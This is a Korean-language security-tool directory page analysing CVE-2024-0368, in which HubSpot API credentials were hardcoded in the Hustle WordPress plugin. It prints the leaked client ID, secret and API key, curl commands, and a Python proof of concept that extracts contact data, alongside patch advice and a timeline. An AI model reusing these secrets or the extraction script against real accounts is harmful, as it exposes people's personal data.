Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3에는 inc/providers/hubspot/hustle-hubspot-api.php에 하드코딩된 HubSpot API 자격 증명이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2024-0368
Vulnerability AnalysisExploitationInformation GatheringWeb SecuritySecret DetectionLearning & Education
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3에는 inc/providers/hubspot/hustle-hubspot-api.php에 하드코딩된 HubSpot API 자격 증명이 포함되어 있습니다.

저장소 보기
17개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-0368

Hustle 플러그인 <= 7.8.3은 inc/providers/hubspot/hustle-hubspot-api.php에 하드코딩된 HubSpot API 자격 증명을 포함하고 있습니다.

취약점 요약

필드값
CVE IDCVE-2024-0368
제목Hustle <= 7.8.3 - 노출된 HubSpot API 키를 통한 민감 정보 노출
CVSS 점수8.6 (높음)
영향받는 플러그인Hustle - 이메일 마케팅, 리드 생성, 옵트인, 팝업 (wordpress-popup)
취약한 버전<= 7.8.3
패치된 버전7.8.4
취약점 유형CWE-200: 민감 정보 노출

기술 분석

취약한 코드 위치

파일: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

노출된 자격 증명

OAuth 범위 (잠재적 액세스)

하드코딩된 OAuth 구성은 다음 HubSpot 범위를 요청했습니다.

  • oauth - OAuth 인증
  • crm.objects.contacts.write - 연락처 생성/수정
  • crm.objects.contacts.read - 연락처 정보 읽기 (개인식별정보)
  • crm.lists.read - 마케팅 목록 읽기
  • crm.lists.write - 마케팅 목록 수정
  • crm.schemas.contacts.write - 연락처 스키마 수정
  • crm.schemas.contacts.read - 연락처 스키마 읽기

취약점 설명

근본 원인

WPMUDEV는 자체 HubSpot OAuth 애플리케이션 자격 증명을 플러그인 소스 코드에 직접 하드코딩했습니다. 이는 안전한 개발 관행을 위반하며 그 이유는 다음과 같습니다.

  1. 공개 노출: WordPress 플러그인은 오픈 소스입니다 - 코드는 wordpress.org SVN 저장소에 공개적으로 제공됩니다.
  2. 대량 배포: Hustle 플러그인은 100,000개 이상의 활성 설치를 보유하고 있습니다.
  3. 공유된 자격 증명: 모든 플러그인 설치가 동일한 API 자격 증명을 공유합니다.

공격 벡터

공격자는 다음을 수행할 수 있습니다.

  1. wordpress.org에서 취약한 플러그인을 다운로드
  2. PHP 소스에서 하드코딩된 자격 증명 추출
  3. 이 자격 증명을 사용하여 HubSpot API에 인증
  4. WPMUDEV의 HubSpot 계정 및 해당 통합을 통해 처리된 모든 데이터에 접근

잠재적 영향

유효한 자격 증명을 통해 공격자는 잠재적으로 다음을 수행할 수 있습니다.

  • PII 읽기: 연락처 정보(이름, 이메일, 전화번호, 주소)에 접근
  • 데이터 수정: HubSpot에서 연락처 생성, 업데이트 또는 삭제
  • 마케팅 목록 액세스: 마케팅 목록 보기 및 조작
  • 데이터 유출: Hustle + HubSpot 통합을 사용하는 사이트에서 구독자 데이터 추출

개념 증명

1단계: 취약한 파일 찾기

root@kitploit:~
# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

출력:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

2단계: API 키 접근 테스트 (연락처)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

참고: 테스트 시점 기준, API 키가 교체/만료되었습니다 (공개 후 예상됨):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

3단계: OAuth 흐름 테스트

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

응답: 자격 증명이 무효화되었습니다.

익스플로잇 스크립트 (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

확인 결과

환경:

  • WordPress: Docker에서 실행 중
  • 플러그인 버전: 7.8.2 (취약)
  • 취약한 파일: 하드코딩된 자격 증명이 포함되어 있음 확인

자격 증명 상태:

  • API 키 (HAPIKEY): 만료/교체됨 (공개 후)
  • OAuth 자격 증명: 무효화됨 (공개 후)

결론: 취약점이 확인되었습니다 - 하드코딩된 자격 증명이 소스 코드에 존재하며 이전에 악용 가능했습니다. WPMUDEV는 책임 있는 공개 이후 자격 증명을 교체했습니다.

수정 사항

공급업체 수정 (v7.8.4+)

패치는 하드코딩된 자격 증명을 제거하고 적절한 자격 증명 저장소를 구현합니다.

  • 자격 증명이 데이터베이스/환경 구성으로 이동됨
  • 사용자는 이제 자신의 HubSpot API 자격 증명을 구성해야 함
  • 설치 간 공유 자격 증명 없음

사용자 권장 사항

  1. 즉시 업데이트: Hustle 7.8.4 이상으로 업그레이드
  2. HubSpot 재구성: 자신의 자격 증명으로 HubSpot 통합 설정
  3. 액세스 로그 감사: 취약 기간 동안 HubSpot에서 승인되지 않은 API 액세스 확인

타임라인

날짜이벤트
2024-01-05CVE-2024-0368 게시
2024-03-08버전 7.8.4에서 패치 릴리스
공개 후WPMUDEV에 의해 자격 증명 교체

참고 자료

  • Wordfence 권고
  • WordPress 플러그인 변경 세트
  • HubSpot API 문서
  • NVD 항목

승인된 보안 연구 목적으로 생성됨

도구 다운로드
자격 증명값용도
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bOAuth2 애플리케이션 식별자
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaOAuth2 클라이언트 시크릿
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aHubSpot 레거시 API 키